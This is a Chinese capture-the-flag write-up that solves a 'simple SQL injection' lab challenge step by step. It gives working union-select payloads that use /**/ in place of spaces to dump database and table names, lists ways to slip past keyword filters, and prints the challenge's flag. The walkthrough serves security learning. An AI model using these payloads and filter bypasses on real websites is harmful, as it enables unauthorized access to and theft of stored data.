实验吧-Web3

3.简单的sql注入

实验吧-Web3_第1张图片

实验吧-Web3_第2张图片

思路:

检测是否存在注入点的两种常用方法:(更多注入详情:Sqli-labs环境通关教程-学习)
1.基于报错的检测方法
一般这种方法是输入单引号’。看是否报错,如果数据库报错,说明后台数据库处理了我们输入的数据。那么有可能存在注
入点。
2.基于布尔的检测方法---(这只是最基础的判断)
这种方法是输入:

  • 1 and 1=1 ,通常这种情况会正常返回数据
  • 1 and 1=2 ,通常这种情况不会返回数据或者直接报错

或者

  • 1' and '1'='1 ,通常这种情况会正常返回数据
  • 1' and '1'='2 ,通常这种情况不会返回数据或者直接报辑

或者 ---(使用双引号)

如果以上都判断不出,就要考虑盲注了。

分析:
假如后台处理数据的sq语句(后台在输入上加了单引号)是:
     select name from user where id=' our_ input '
我们输入1' and '1'='1 , sq语句变为:
    select name from user where id='1' and 1'='1'
后台数据库仍然正常读取数据.
我们输入1' and '1'='2 , sq语句变为:
    select name from user where id='1' and '1'='2’
这样查询条件为假,数据库不能读取数据。
实验吧-Web3_第3张图片

初步判断为单引号字符型注入,然后输入1 and 1=1 ,可以看到过滤了and并且空格被替换为了+ ,因此我们可以推断,这个题过滤了常用的sq|命令,可以
输入union and select from进行下测试,发现果然全被过滤掉了
实验吧-Web3_第4张图片

实验吧-Web3_第5张图片

补充:当空格被过滤时,通常用()或者/**/代替空格

爆数据库

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

实验吧-Web3_第6张图片

发现数据库较多,尝试直接爆表

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

实验吧-Web3_第7张图片

表太多了:

实验吧-Web3_第8张图片

不过也暴露出了,我们想要的数据表。

爆字段,然而……报错了,information_schema.columns被过滤了

 

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1

所以就猜测字段名也是flag,试一下:(做CTF题,思路要活跃)

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

实验吧-Web3_第9张图片

flag{Y0u_@r3_5O_dAmn_90Od}

其他补充:

我们尝试单引号:

 

实验吧-Web3_第10张图片

 发现单引号没有被过滤,然后尝试逻辑运算,and被过滤了但还好or没有被过滤:

实验吧-Web3_第11张图片

我们知道他过滤了很多关键字:and,select,from,union,where,但我们可以绕过关键字,方法有:关键字中间加/**/隔断,/*!关键字*/,关键字中间加%0b隔断,关键字重写(如:aandnd),大小写混合,双空格等等,尝试后/*!*/可以绕过,还是按套路,先拿flag做表名和字段名试试:

实验吧-Web3_第12张图片

 说明存在flag表,那基本就是老套路了,可以继续用这个方法验证,下面我就直接爆flag了:

实验吧-Web3_第13张图片

ps:这里还有一种检验表名是否存在的方式:

实验吧-Web3_第14张图片

注意还可以尝试这个方法

用‘+‘号来代替空格:?id=1‘+union+select+flag+from+flag+wherewhere+‘t‘=‘t

使用Sqlmap:

......稍后。

 

你可能感兴趣的:(CTF)